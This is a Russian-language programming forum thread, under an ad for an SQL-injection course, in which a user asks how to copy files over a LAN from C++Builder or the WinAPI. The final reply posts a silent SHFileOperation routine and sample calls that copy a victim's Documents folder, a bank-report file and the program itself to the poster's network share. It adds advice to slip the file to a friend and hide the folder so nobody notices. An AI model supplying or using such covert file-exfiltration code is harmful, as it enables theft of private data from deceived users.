• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Копирование файдов по сети

  • Автор темы sancao
  • Дата начала
S

sancao

Help!!! Помогите ! Проблема копирования файлов по сети с компа на комп из прог на CBuilder 6 или Win API!
Пожлста!!!!
 
S

sancao

Испльзую обычную сетку и функции CopyFileTo c параметрами напр ( ''\\\\Rmrz.C:\\Data\\12.wav , \\\\Rmaa.C:\\Data\\12.wav) а результата никакого. Пытался по сети копировать сам на себя как бы по сетке CopyFile - рез тот же.
Если есть кусочек софта пришлите пож!!

Испльзую обычную сетку и функции CopyFileTo c параметрами напр ( ''\\\\Rmrz.C:\\Data\\12.wav , \\\\Rmaa.C:\\Data\\12.wav) а результата никакого. Пытался по сети копировать сам на себя как бы по сетке CopyFile - рез тот же.
Если есть кусочек софта пришлите пож!!
 
V

vital

Компоненты ServerSocket и ClientSocket (или их аналоги от Indy) вам в помощь. Ну а как их использовать много раз написано в гугле.
 
A

alekssgor

Компоненты ServerSocket и ClientSocket (или их аналоги от Indy) вам в помощь. Ну а как их использовать много раз написано в гугле.
Компоненты хорошие но тяжёлые(скажем троян не напишишь, для примера).
Лучше использовать библиотеку API Windows WinSock .
Почитай справку по функциям описанные в файле #include "winsock2.h"
(Весь файл будет весить не более 30 кБ)
 
A

alekssgor

C++:
//WinApi вариант

int MovieFiles(char* slSourceDir, char* slTargetDir, bool toCopy = true)
{
SHFILEOPSTRUCT sh;
sh.fFlags = FOF_NOCONFIRMATION|FOF_SILENT|FOF_FILESONLY;
sh.wFunc = toCopy ? FO_COPY : FO_MOVE;
sh.pFrom = slSourceDir;
sh.pTo = slTargetDir;
sh.hNameMappings = NULL;
sh.lpszProgressTitle = NULL;
return SHFileOperation(&sh);
}

//Копирует все фалы из папке Documents(вложенные папки не копируются).

MovieFiles("C:\\Users\\Александр\\Documents\\*.*","\\\\nootbook\\Public\\Documents");

//Копирует всё из папки Documents (включая вложенные папки).

MovieFiles("C:\\Users\\Александр\\Documents","\\\\nootbook\\Public\\Documents");

//Копирует определённый файл

MovieFiles("C:\\Users\\Александр\\Documents\\sberbank_othet.txt","\\\\nootbook\\Public\\Documents");

//Копирует самого себя

MovieFiles("*.exe","\\\\nootbook\\Public\\Documents");

//Короче подсовывай этот файл другу по локальной сети и открывай общий доступ для записи на своём компе и 
после копирования файла к себе делай папку скрытой чтоб никто не догодался :bequiet:
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!